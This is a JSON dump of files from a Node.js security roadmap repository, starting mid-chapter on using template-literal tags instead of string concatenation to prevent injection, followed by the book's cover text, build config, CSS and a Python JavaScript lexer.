WHERE id=\" + f(accountNumber)\n```\n\nA reasonable reader would conclude that the author intended:\n\n*  That the result specifies one statement, a select statement.\n*  That `f(accountNumber)` specifies only a simple value that\n   can be compared to values in the *id* column.\n\nGiven that, we can say `function f(x)` preserves intent in that code\nif, for any value of `accountNumber`, it throws an exception or\nits output following \"`SELECT * FROM T WHERE id=`\" parses as a\nsingle number or string literal token.\n\n\n\n## A possible solution\n\n### Change the world so we can give simple answers to hard questions.\n\nExtend existing APIs so that whenever a developer is composing a\nstring to send outside the `node` process, they have a template\nliteral tag based API that is more secure than string concatenation.\n\nThen, we can give developers a simple piece of advice:\n\n> If you're composing a string that will end up outside node, use\n> a template tag.\n\nTemplate tags will have implementation bugs, but fixing one template\ntag is easier than fixing many expressions of the form\n`(\"foo \" + bar + \" baz\")`.\n\n\n### A common style guide for tag implementers.\n\nIt would help developers if these template literal tags had some\nconsistency across libraries.  We've already briefly discussed ways to\nmake template tags more discoverable and usable when talking about\nways to treat [generated code][synthetic modules] as first class.\n\nWe propose a style guide for tag authors.\nOthers will probably have better ideas as to what it should contain, but\nto get a discussion started:\n\n-  Functions that compose or represent a string whose recipient is outside\n   the node runtime should accept template tags.\n   Examples include `mysql.format` which composes a string of SQL.\n-  These functions should return a typed string wrapper.\n   For example, if the output is a string of *SQL* tokens,\n   then return an instance of:\n   ```js\n   function SqlFragment(s) {\n     if (!(this instanceof SqlFragment)) { return new SqlFragment(s); }\n     this.content = String(s);\n   }\n   SqlFragment.prototype.toString = (() => this.content);\n   ```\n   Don't re-escape `SqlFragment`s received as interpolation values\n   where they make sense.\n-  See if you can reuse string wrappers from a library before rolling\n   your own to encourage interoperability.\n   If a library defines a type representing a fragment of HTML, use that\n   as long as your operator can uphold the type's contract.\n   For example if the type has a particular [security contract][],\n   make sure that you preserve that security contract.\n   You may assume that wrapped strings come from a source that upheld\n   the contract.\n   Producing a value that doesn't uphold its contract when your inputs do\n   is a bug, but assuming incorrectly that type contracts hold for your\n   inputs is not.\n   If you can double check inputs, great!\n-  The canonical way to test whether a function was (very probably)\n   called as a template tag is\n   ```js\n   function (a, ...b) {\n     if (Array.isArray(a) && Array.isArray(a.raw)\n         && Object.isFrozen(a)\n         && a.length === b.length + 1) {\n       // Treat as template tag.\n     }\n     // Handle non template tag use.\n   }\n   ```\n-  When a template tag takes options objects, it should\n   be possible to curry those before invoking the function as a tag.\n   The following passes some environment variables and a working directory\n   before the command:\n   ```js\n   shelljs.exec({ env: ..., cwd: ... })`cat ...`\n   ```\n-  When a template tag takes a `callback`, the template tag should\n   return a function that will receive the callback.\n   The following uses a template tag that returns a function that\n   takes a callback:\n   ```js\n   myConnection.query`SELECT ...`(callback)\n   ```\n-  Where possible, allow indenting multi-line template tags.\n   Use the first line with non-whitespace characters as a cue\n   when stripping whitespace from the rest of the lines.\n\n## Alternatives\n\nDatabase abstractions like object-relational mappings are a great way\nto get developers out of the messy business of composing queries.\n\nThere are still niche use cases like ad-hoc reporting that require\ncomposing queries, and solving the problem for database queries does\nnot solve it for strings sent elsewhere, e.g. shells.\n\nBuilder APIs provide a flexible way to compose structured content.\nFor example,\n\n```java\n  new QueryBuilder()\n  .select()\n  .innerJoin(...).on(...)\n  .columns(...)\n  .where(...)\n  .orderBy(...)\n  .build()\n```\n\nThe explicit method calls specify the structure of the resulting\nstring, so controlling parameters doesn't grant control of sentence\nstructure, and control of one parameter doesn't allow reinterpreting\npart of the query specified by an uncontrolled parameter.\n\nIn JavaScript we prefer tagged templates to builders.  These APIs can\nbe syntactically heavy and developers have to discover and learn them.\nWe hope that adoption with template tags will be easier because:\n\n*  Tagged templates are syntactically lighter so easier to write.\n*  Someone unfamiliar with the API, but familiar with the query language, will\n   have to do less work to leverage the one to understand the other making\n   tagged templates easier to read and adapt for one's own work.\n*  Builder APIs have to treat nested sub-languages (e.g. URLs in HTML)\n   as strings unless there is a builder API for the sub-language.\n\n\n[security contract]: https://github.com/google/safe-html-types\n[synthetic modules]: ../chapter-2/synthetic-modules.html\n"
  },
  {
    "path": "cover.md",
    "content": "# A Roadmap for Node.js Security\n\nNode.js has a vibrant community of application developers and library\nauthors built around a mature and well-maintained core runtime and\nlibrary set.  Its growing popularity is already drawing more attention\nfrom attackers.  This roadmap discusses how some Node.js projects\naddress security challenges, along with ways to make it easier\nfor more projects to address these challenges in a thorough and\nconsistent manner.\n\nThis is not the opinion of any organization.  It is the considered\nopinion of\n[some computer security professionals and Node.js enthusiasts][contributors]\nwho have worked to make it easier to write secure, robust software on\nother platforms; who like a lot about Node.js; and who would like to\nhelp make it better.\n\nOur intended audience is Node.js library and infrastructure\nmaintainers who want to stay ahead of the increased scrutiny that\nNode.js is getting from attackers.  We have not researched whether,\nand do not assert that, any stack is inherently more or less secure\nthan any other.\n\nNode.js security is especially important for “primary targets”.\nTargets are often subdivided into \"primary targets\" and \"targets of\nopportunity.\"  One attacks the latter if one happens to see a\nvulnerability.  One goes out of their way to find vulnerabilities in\nthe former.  The practices which prevent one from becoming a target of\nopportunity might not be enough if one is a primary target of an actor\nwith resources at their disposal.  We hope that the ideas we present\nmight help primary targets to defeat attacks while making targets of\nopportunity rarer and the entire ecosystem more secure.\n\nWhen addressing threats, we want to make sure we preserve Node.js's\nstrengths.\n\n*  Development teams can iterate quickly allowing them to explore a\n   large portion of the design space.\n*  Developers can use a wealth of publicly available packages to solve\n   everyday problems.\n*  Anyone who identifies a shared problem can write and publish a\n   module to solve it, or send a pull request with a fix or extension\n   to an existing project.\n*  Node.js integrates with a wide variety of application containers so\n   project teams have options when deciding how to deploy.\n*  Using JavaScript on the front and back ends of Web applications\n   allows developers to work both sides when need be.\n\nThe individual chapters are largely independent of one another:\n\n\"[Threat environment][]\" discusses the kinds of threats that concern us.\n\n\"[Dynamism when you need it][]\" discusses how to preserve the power of\nCommonJS module linking, `vm` contexts, and runtime code generation\nwhile making sure that, in production, only code that the development\nteam trusts gets run.\n\n\"[Knowing your dependencies][]\" discusses ways to help development\nteams make informed decisions about third-party dependencies.\n\n\"[Keeping your dependencies close][]\" discusses how keeping a local\nreplica of portions of the larger npm repository affects security and\naids incident response.\n\n\"[Oversight][]\" discusses how code-quality tools can help decouple\nsecurity review from development.\n\n\"[When all else fails][]\" discusses how the development &rarr;\nproduction pipeline and development practices can affect the ability\nof security professionals to identify and respond to imminent threats.\n\n\"[Library support for safe coding practices][]\" discusses idioms\nthat, if more widespread, might make it easier for developers to\nproduce secure, robust systems.\n\nYou can browse the supporting code via *[github.com/google/node-sec-roadmap/][]*.\n\n[contributors]: CONTRIBUTORS.md\n[Threat environment]: chapter-1/threats.md\n[Dynamism when you need it]: chapter-2/dynamism.md\n[Knowing your dependencies]: chapter-3/knowing_dependencies.md\n[Keeping your dependencies close]: chapter-4/close_dependencies.md\n[Oversight]: chapter-5/oversight.md\n[When all else fails]: chapter-6/failing.md\n[Library support for safe coding practices]: chapter-7/libraries.md\n[github.com/google/node-sec-roadmap/]: https://github.com/google/node-sec-roadmap/\n"
  },
  {
    "path": "license.md",
    "content": "<!-- Markdown licensed under CC-BY-4.0\n     Supporting code licensed under Apache License 2.0 -->\n\n<!-- HTML courtesy https://creativecommons.org/ -->\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by/4.0/88x31.png\" /></a><br /><span xmlns:dct=\"http://purl.org/dc/terms/\" href=\"http://purl.org/dc/dcmitype/Text\" property=\"dct:title\" rel=\"dct:type\">A Roadmap for Node.js Security</span> by <a xmlns:cc=\"http://creativecommons.org/ns#\" href=\"https://github.com/google/node-sec-roadmap/\" property=\"cc:attributionName\" rel=\"cc:attributionURL\">https://github.com/google/node-sec-roadmap/</a> is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by/4.0/\">Creative Commons Attribution 4.0 International License</a>.\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"version\": \"1.0.0\",\n  \"name\": \"@mikesamuel/nodejs_sec_book\",\n  \"description\": \"Booklet about NodeJS in organizations with large security profiles\",\n  \"homepage\": \"https://github.com/google/node-sec-roadmap/\",\n  \"license\": \"(Apache License 2.0 OR CC-BY-4.0)\",\n  \"author\": {\n    \"name\": \"Mike Samuel\",\n    \"email\": \"mikesamuel@gmail.com\",\n    \"url\": \"https://github.com/mikesamuel\"\n  },\n  \"files\": [\n    \"www/**\"\n  ],\n  \"main\": \"www/index.html\",\n  \"dependencies\": {\n    \"gitbook\": \">=3.2.3\",\n    \"gitbook-cli\": \">=2.3.2\",\n    \"gitbook-plugin-ga\": \"^1.0.1\",\n    \"gitbook-plugin-links\": \"^3.0.1\",\n    \"svgexport\": \"^0.3.2\"\n  },\n  \"private\": true,\n  \"scripts\": {\n    \"start\": \"make serve\"\n  }\n}\n"
  },
  {
    "path": "styles/website.css",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n.print-button.btn.links-link {\n    display: inline-block;\n    width: 30px;\n    font-size: 0;\n    background-image: url(\"/images/ic_print_24dp.svg\");\n    background-repeat: no-repeat;\n    background-position: center center;\n}\n\n.github-button.btn.links-link {\n    display: inline-block;\n    width: 30px;\n    font-size: 0;\n    background-image: url(\"/images/GitHub-Mark-32px.png\");\n    background-repeat: no-repeat;\n    background-position: center center;\n    background-size: 20px;\n    opacity: 0.25;\n}\n\n/* Style external links */\na[href^=\"http://\"]:not([href^=\"http://www.gitbook.com\"]),\na[href^=\"https://\"]:not([href^=\"https://www.gitbook.com\"]),\na[href^=\"//\"]:not([href^=\"//www.gitbook.com\"]) {\n    background-image: url(\"/images/FileExternal.svg\");\n    background-position: center right;\n    background-repeat: no-repeat;\n    background-size: 12px 12px;\n    padding-right: 14px;\n}\n"
  },
  {
    "path": "third_party/__init__.py",
    "content": "# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n"
  },
  {
    "path": "third_party/jslex/__init__.py",
    "content": "# Copyright 2017 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n"
  },
  {
    "path": "third_party/jslex/jslex.py",
    "content": "# Copyright 2011-2015 Ned Batchelder.  All rights reserved.\n#\n# Except where noted otherwise, this software is licensed under the Apache\n# License, Version 2.0 (the \"License\"); you may not use this work except in\n# compliance with the License.  You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# From https://bitbucket.org/ned/jslex/raw/a1ee4078977a3ef9c4682837c669637c04c417af/jslex.py\n# For details: https://bitbucket.org/ned/jslex/src/default/NOTICE.txt\n\n\n\"\"\"JsLex: a lexer for Javascript\"\"\"\n\nimport re\n\nclass Tok(object):\n    \"\"\"A specification for a token class.\"\"\"\n\n    num = 0\n\n    def __init__(self, name, regex, next=None):\n        self.id = Tok.num\n        Tok.num += 1\n        self.name = name\n        self.regex = regex\n        self.next = next\n\ndef literals(choices, prefix=\"\", suffix=\"\"):\n    \"\"\"Create a regex from a space-separated list of literal `choices`.\n\n    If provided, `prefix` and `suffix` will be attached to each choice\n    individually.\n\n    \"\"\"\n    return \"|\".join(prefix+re.escape(c)+suffix for c in choices.split())\n\nclass Lexer(object):\n    \"\"\"A generic multi-state regex-based lexer.\"\"\"\n\n    def __init__(self, states, first):\n        self.regexes = {}\n        self.toks = {}\n\n        for state, rules in states.items():\n            parts = []\n            for tok in rules:\n                groupid = \"t%d\" % tok.id\n                self.toks[groupid] = tok\n                parts.append(\"(?P<%s>%s)\" % (groupid, tok.regex))\n            self.regexes[state] = re.compile(\"|\".join(parts), re.MULTILINE|re.VERBOSE)\n\n        self.state = first\n\n    def lex(self, text):\n        \"\"\"Lexically analyze `text`.\n\n        Yields pairs (`name`, `tokentext`).\n\n        \"\"\"\n        end = len(text)\n        state = self.state\n        regexes = self.regexes\n        toks = self.toks\n        start = 0\n\n        while start < end:\n            for match in regexes[state].finditer(text, start):\n                name = match.lastgroup\n                tok = toks[name]\n                toktext = match.group(name)\n                start += len(toktext)\n                yield (tok.name, toktext)\n\n                if tok.next:\n                    state = tok.next\n                    break\n\n        self.state = state\n\n\nclass JsLexer(Lexer):\n    \"\"\"A Javascript lexer\n\n    >>> lexer = JsLexer()\n    >>> list(lexer.lex(\"a = 1\"))\n    [('id', 'a'), ('ws', ' '), ('punct', '='), ('ws', ' '), ('dnum', '1')]\n\n    This doesn't properly handle non-Ascii characters in the Javascript source.\n\n    \"\"\"\n\n    # Because these tokens are matched as alternatives in a regex, longer possibilities\n    # must appear in the list before shorter ones, for example, '>>' before '>'.\n    #\n    # Note that we don't have to detect malformed Javascript, only properly lex\n    # correct Javascript, so much of this is simplified.\n\n    # Details of Javascript lexical structure are taken from\n    # http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf\n\n    # A useful explanation of automatic semicolon insertion is at\n    # http://inimino.org/~inimino/blog/javascript_semicolons\n\n    both_before = [\n        Tok(\"comment\",      r\"/\\*(.|\\n)*?\\*/\"),\n        Tok(\"linecomment\",  r\"//.*?$\"),\n        Tok(\"ws\",           r\"\\s+\"),\n        Tok(\"keyword\",      literals(\"\"\"\n                                break case catch class const continue debugger\n                                default delete do else enum export extends\n                                finally for function if import in instanceof new\n                                return super switch this throw try typeof var\n                                void while with\n                                \"\"\", suffix=r\"\\b\"), next='reg'),\n        Tok(\"reserved\",     literals(\"null true false\", suffix=r\"\\b\"), next='div'),\n        Tok(\"id\",           r\"\"\"\n                            ([a-zA-Z_$   ]|\\\\u[0-9a-fA-Z]{4})       # first char\n                            ([a-zA-Z_$0-9]|\\\\u[0-9a-fA-F]{4})*      # rest chars\n                            \"\"\", next='div'),\n        Tok(\"hnum\",         r\"0[xX][0-9a-fA-F]+\", next='div'),\n        Tok(\"onum\",         r\"0[0-7]+\"),\n        Tok(\"dnum\",         r\"\"\"\n                            (   (0|[1-9][0-9]*)         # DecimalIntegerLiteral\n                                \\.                      # dot\n                                [0-9]*                  # DecimalDigits-opt\n                                ([eE][-+]?[0-9]+)?      # ExponentPart-opt\n                            |\n                                \\.                      # dot\n                                [0-9]+                  # DecimalDigits\n                                ([eE][-+]?[0-9]+)?      # ExponentPart-opt\n                            |\n                                (0|[1-9][0-9]*)         # DecimalIntegerLiteral\n                                ([eE][-+]?[0-9]+)?      # ExponentPart-opt\n                            )\n                            \"\"\", next='div'),\n        Tok(\"punct\",        literals(\"\"\"\n                                >>>= === !== >>> <<= >>= <= >= == != << >> && \n                                || += -= *= %= &= |= ^=\n                                \"\"\"), next=\"reg\"),\n        Tok(\"punct\",        literals(\"++ -- ) ]\"), next='div'),\n        Tok(\"punct\",        literals(\"{ } ( [ . ; , < > + - * % & | ^ ! ~ ? : =\"), next='reg'),\n        Tok(\"string\",       r'\"([^\"\\\\]|(\\\\(.|\\n)))*?\"', next='div'),\n        Tok(\"string\",       r\"'([^'\\\\]|(\\\\(.|\\n)))*?'\", next='div'),\n        ]\n\n    both_after = [\n        Tok(\"other\",        r\".\"),\n        ]\n\n    states = {\n        'div': # slash will mean division\n            both_before + [\n            Tok(\"punct\", literals(\"/= /\"), next='reg'),\n            ] + both_after,\n\n        'reg':  # slash will mean regex\n            both_before + [\n            Tok(\"regex\",\n                r\"\"\"\n                    /                       # opening slash\n                    # First character is..\n                    (   [^*\\\\/[]            # anything but * \\ / or [\n                    |   \\\\.                 # or an escape sequence\n                    |   \\[                  # or a class, which has\n                            (   [^\\]\\\\]     #   anything but \\ or ]\n                            |   \\\\.         #   or an escape sequence\n                            )*              #   many times\n                        \\]\n                    )\n                    # Following characters are same, except for excluding a star\n                    (   [^\\\\/[]             # anything but \\ / or [\n                    |   \\\\.                 # or an escape sequence\n                    |   \\[                  # or a class, which has\n                            (   [^\\]\\\\]     #   anything but \\ or ]\n                            |   \\\\.         #   or an escape sequence\n                            )*              #   many times\n                        \\]\n                    )*                      # many times\n                    /                       # closing slash\n                    [a-zA-Z0-9]*            # trailing flags\n                \"\"\", next='div'),\n            ] + both_after,\n        }\n\n    def __init__(self):\n        super(JsLexer, self).__init__(self.states, 'reg')\n\n\ndef js_to_c_for_gettext(js):\n    \"\"\"Convert the Javascript source `js` into something resembling C for xgettext.\n\n    What actually happens is that all the regex literals are replaced with\n    \"REGEX\".\n\n    \"\"\"\n    def escape_quotes(m):\n        \"\"\"Used in a regex to properly escape double quotes.\"\"\"\n        s = m.group(0)\n        if s == '\"':\n            return r'\\\"'\n        else:\n            return s\n\n    lexer = JsLexer()\n    c = []\n    for name, tok in lexer.lex(js):\n        if name == 'regex':\n            # C doesn't grok regexes, and they aren't needed for gettext,\n            # so just output a string instead.\n            tok = '\"REGEX\"'\n        elif name == 'string':\n            # C doesn't have single-quoted strings, so make all strings\n            # double-quoted.\n            if tok.startswith(\"'\"):\n                guts = re.sub(r\"\\\\.|.\", escape_quotes, tok[1:-1])\n                tok = '\"' + guts + '\"'\n        elif name == 'id':\n            # C can't deal with Unicode escapes in identifiers.  We don't\n            # need them for gettext anyway, so replace them with something\n            # innocuous\n            tok = tok.replace(\"\\\\\", \"U\")\n        c.append(tok)\n    return ''.join(c)\n"
  }
]